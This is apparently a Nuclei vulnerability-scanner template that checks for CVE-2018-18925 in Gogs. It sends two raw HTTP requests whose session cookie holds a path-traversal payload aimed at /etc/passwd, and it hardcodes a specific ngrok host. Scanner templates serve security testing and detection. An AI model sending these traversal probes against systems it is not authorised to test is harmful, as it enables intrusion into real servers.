id: CVE-2018-18925
info:
  name: Gogs - Remote Code Execution (CVE-2018-18925)
  author: princechaddha
  severity: critical
  description: Gogs 0.11.66 allows remote code execution because it does not properly validate session IDs, as demonstrated by a ".." session-file forgery in the file session provider in file.go. This is related to session ID handling in the go-macaron/session code for Macaron.
  reference:
    - https://www.anquanke.com/post/id/163575
    - https://github.com/vulhub/vulhub/tree/master/gogs/CVE-2018-18925
    - https://nvd.nist.gov/vuln/detail/cve-2018-18925
  remediation: This issue will be fixed by updating to the latest version of Gogs
  tags: cve,cve2018,gogs,lfi,rce

requests:
  - raw:
      - |
        GET / HTTP/1.1
        Host: 8941-45-77-171-204.ngrok.io
        Cookie: lang=en-US; i_like_gogits=../../../../etc/passwd;

      - |
        GET / HTTP/1.1
        Host: 8941-45-77-171-204.ngrok.io
        Cookie: lang=en-US; i_like_gogits=../../../../etc/dummy;

    req-condition: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 500 && status_code_2 == 200 && contains(body_2, "<meta name=\"author\" content=\"Gogs\" />")'